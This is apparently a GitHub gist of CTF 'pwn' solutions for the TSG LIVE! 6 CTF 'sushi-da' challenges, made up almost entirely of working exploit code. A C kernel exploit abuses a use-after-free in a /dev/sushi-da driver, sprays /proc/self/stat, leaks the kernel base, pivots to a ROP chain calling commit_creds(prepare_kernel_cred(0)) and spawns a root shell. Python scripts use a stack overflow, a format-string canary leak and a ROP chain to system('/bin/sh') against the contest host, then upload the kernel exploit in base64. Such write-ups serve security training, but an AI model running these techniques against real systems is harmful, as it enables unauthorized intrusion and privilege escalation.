Created
May 16, 2021 07:21
-
-
Save ptr-yudai/aa4f9ecf1098a9eeda216e9cc3ab6483 to your computer and use it in GitHub Desktop.
pwn writeups - TSG LIVE! 6 CTF
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <string.h> | |
#include <sys/mman.h> | |
#include <sys/ioctl.h> | |
unsigned long user_cs; | |
unsigned long user_ss; | |
unsigned long user_rflags; | |
unsigned long kbase = 0; | |
unsigned long commit_creds = (0xffffffff8106cd00 - 0xffffffff81000000); | |
unsigned long prepare_kernel_cred = (0xffffffff8106d110 - 0xffffffff81000000); | |
#define SUSHI_REGISTER_RECORD 0xdead001 | |
#define SUSHI_FETCH_RECORD 0xdead002 | |
#define SUSHI_CLEAR_OLD_RECORD 0xdead003 | |
#define SUSHI_CLEAR_ALL_RECORD 0xdead004 | |
#define SUSHI_RECORD_MAX 0x10 | |
#define SUSHI_NAME_MAX 0x10 | |
struct record{ | |
char date[0x10]; | |
unsigned long result; | |
}; | |
struct ioctl_register_query{ | |
struct record record; | |
}; | |
struct ioctl_fetch_query{ | |
unsigned rank; | |
struct record record; | |
}; | |
void fatal(const char *msg) { | |
perror(msg); | |
exit(1); | |
} | |
int fd; | |
void reg(char *date, unsigned long result) { | |
struct ioctl_register_query q = {.record.result = result}; | |
strncpy(q.record.date, date, 0x0f); | |
printf("[+] REGISTER: %x\n", ioctl(fd, SUSHI_REGISTER_RECORD, &q)); | |
} | |
struct record fetch(int rank) { | |
struct ioctl_fetch_query q; | |
q.rank = rank + 1; | |
printf("[+] FETCH: %x\n", ioctl(fd, SUSHI_FETCH_RECORD, &q)); | |
return q.record; | |
} | |
void clear_old() { | |
printf("[+] CLEAR_OLD: %x\n", ioctl(fd, SUSHI_CLEAR_OLD_RECORD, NULL)); | |
} | |
void clear_all() { | |
printf("[+] CLEAR_ALL: %x\n", ioctl(fd, SUSHI_CLEAR_ALL_RECORD, NULL)); | |
} | |
static void win() { | |
char *argv[] = {"/bin/sh", NULL}; | |
char *envp[] = {NULL}; | |
write(1, "win!\n", 5); | |
execve("/bin/sh", argv, envp); | |
} | |
static void escalate_privilege() { | |
char* (*pkc)(int) = (void*)(kbase + prepare_kernel_cred); | |
void (*cc)(char*) = (void*)(kbase + commit_creds); | |
(*cc)((*pkc)(0)); | |
} | |
static void save_state() | |
{ | |
asm( | |
"movq %%cs, %0\n" | |
"movq %%ss, %1\n" | |
"pushfq\n" | |
"popq %2\n" | |
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) | |
: | |
: "memory"); | |
} | |
static void restore_state() { | |
asm volatile("swapgs ;" | |
"movq %0, 0x20(%%rsp)\t\n" | |
"movq %1, 0x18(%%rsp)\t\n" | |
"movq %2, 0x10(%%rsp)\t\n" | |
"movq %3, 0x08(%%rsp)\t\n" | |
"movq %4, 0x00(%%rsp)\t\n" | |
"iretq" | |
: | |
: "r"(user_ss), | |
"r"((unsigned long)(0x0B0FF000 + 0x4000)), | |
"r"(user_rflags), | |
"r"(user_cs), "r"(win)); | |
} | |
int main() { | |
fd = open("/dev/sushi-da", O_RDWR); | |
if (fd == -1) | |
fatal("open"); | |
save_state(); | |
unsigned long *chain = | |
(unsigned long*)mmap(0x0B0FF000, | |
0x8000, | |
PROT_READ | PROT_EXEC | PROT_WRITE, | |
MAP_ANON | MAP_PRIVATE | MAP_POPULATE, | |
-1, 0); | |
struct record r = {0}; | |
clear_all(); | |
reg("1337AAAABBBBBBBB", 1337); | |
clear_old(); | |
r = fetch(0); | |
printf("[+] 0x%016lx\n", *(unsigned long*)r.date); | |
/* spray */ | |
int fds[0x100]; | |
for (int i = 0; i < 0x100; i++) { | |
fds[i] = open("/proc/self/stat", O_RDONLY); | |
} | |
/* leak */ | |
r = fetch(0); | |
kbase = *(unsigned long*)r.date - 0x194090; // single_start | |
printf("[+] kbase = 0x%016lx\n", kbase); | |
/* pwn */ | |
clear_old(); | |
unsigned long rop_pivot = kbase + (0xffffffff816c5ff1 - 0xffffffff81000000); | |
unsigned long buf[2]; | |
buf[0] = rop_pivot; | |
buf[1] = 0xffffffffcafebabe; | |
for (int i = 0; i < 0x100; i++) { | |
reg((void*)buf, 0xffffffffdeadc0c0); | |
} | |
chain[499] = (void*)escalate_privilege; | |
chain[500] = (unsigned long)&restore_state; | |
/* ignite */ | |
printf("%p\n", rop_pivot); | |
getchar(); | |
char c; | |
for (int i = 0; i < 0x100; i++) { | |
read(fds[i], &c, 1); | |
} | |
puts("[+] Done"); | |
return 0; | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from ptrlib import * | |
import time | |
#sock = Socket("localhost", 7777) | |
sock = Socket("nc sushida.pwn.hakatashi.com 1337") | |
sock.sendlineafter("$ ", "play") | |
for i in range(3): | |
sock.recvuntil("[TYPE]") | |
sock.recvline() | |
l = sock.recvline() | |
sock.sendline(l) | |
sock.sendlineafter("finish!", b"A" * (200 + 0x20) + p32(1)) | |
sock.interactive() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from ptrlib import * | |
import time | |
def add(data): | |
sock.sendlineafter("$ ", "custom") | |
sock.sendlineafter("] ", data) | |
def leak(): | |
sock.sendlineafter("$ ", "play") | |
for i in range(3): | |
sock.recvuntil("[TYPE]") | |
sock.recvline() | |
l = sock.recvline() | |
if b'NEKO' in l: | |
return int(l.split(b':')[1], 16) | |
sock.sendline(l) | |
sock.recvuntil("finish!") | |
sock.recvline() | |
sock.sendline("hoge") | |
return None | |
def overflow(payload): | |
sock.sendlineafter("$ ", "play") | |
for i in range(3): | |
sock.recvuntil("[TYPE]") | |
sock.recvline() | |
l = sock.recvline() | |
sock.sendline(l) | |
sock.recvuntil("finish!") | |
sock.recvline() | |
sock.sendline(payload) | |
elf = ELF("./client") | |
#sock = Process("./client") | |
sock = Socket("nc sushida.pwn.hakatashi.com 1337") | |
# leak canary | |
add("NEKO:%41$p") | |
canary = 0 | |
while True: | |
canary = leak() | |
if canary is not None: | |
break | |
logger.info("canary = " + hex(canary)) | |
sock.sendline("neko") | |
# pwn | |
add("ponta") | |
rop_pop_rdi = 0x004b8a6b # safe gadget | |
payload = b"\x00" * 0xf8 | |
payload += p64(canary) | |
payload += b'A' * 8 | |
payload += p64(rop_pop_rdi + 1) | |
payload += p64(rop_pop_rdi) | |
payload += p64(next(elf.find("/bin/sh"))) | |
payload += p64(elf.symbol("__libc_system")) | |
overflow(payload) | |
sock.interactive() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from ptrlib import * | |
import time | |
def add(data): | |
sock.sendlineafter("$ ", "custom") | |
sock.sendlineafter("] ", data) | |
def leak(): | |
sock.sendlineafter("$ ", "play") | |
for i in range(3): | |
sock.recvuntil("[TYPE]") | |
sock.recvline() | |
l = sock.recvline() | |
if b'NEKO' in l: | |
return int(l.split(b':')[1], 16) | |
sock.sendline(l) | |
sock.recvuntil("finish!") | |
sock.recvline() | |
sock.sendline("hoge") | |
return None | |
def overflow(payload): | |
sock.sendlineafter("$ ", "play") | |
for i in range(3): | |
sock.recvuntil("[TYPE]") | |
sock.recvline() | |
l = sock.recvline() | |
sock.sendline(l) | |
sock.recvuntil("finish!") | |
sock.recvline() | |
sock.sendline(payload) | |
elf = ELF("./client") | |
#sock = Process("./client") | |
sock = Socket("nc sushida.pwn.hakatashi.com 1337") | |
# leak canary | |
add("NEKO:%41$p") | |
canary = 0 | |
while True: | |
canary = leak() | |
if canary is not None: | |
break | |
logger.info("canary = " + hex(canary)) | |
sock.sendline("neko") | |
# pwn | |
add("ponta") | |
rop_pop_rdi = 0x004b8a6b # safe gadget | |
payload = b"\x00" * 0xf8 | |
payload += p64(canary) | |
payload += b'A' * 8 | |
payload += p64(rop_pop_rdi + 1) | |
payload += p64(rop_pop_rdi) | |
payload += p64(next(elf.find("/bin/sh"))) | |
payload += p64(elf.symbol("__libc_system")) | |
overflow(payload) | |
# | |
import time | |
import base64 | |
import os | |
def run(cmd): | |
sock.sendlineafter("$", cmd) | |
return | |
with open("exploit", "rb") as f: | |
payload = bytes2str(base64.b64encode(f.read())) | |
run('cd /tmp') | |
for i in range(0, len(payload), 512): | |
logger.info("x") | |
run('echo "{}" >> b64solve'.format(payload[i:i+512])) | |
run('base64 -d b64solve > solve') | |
run('rm b64solve') | |
run('chmod +x solve') | |
sock.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment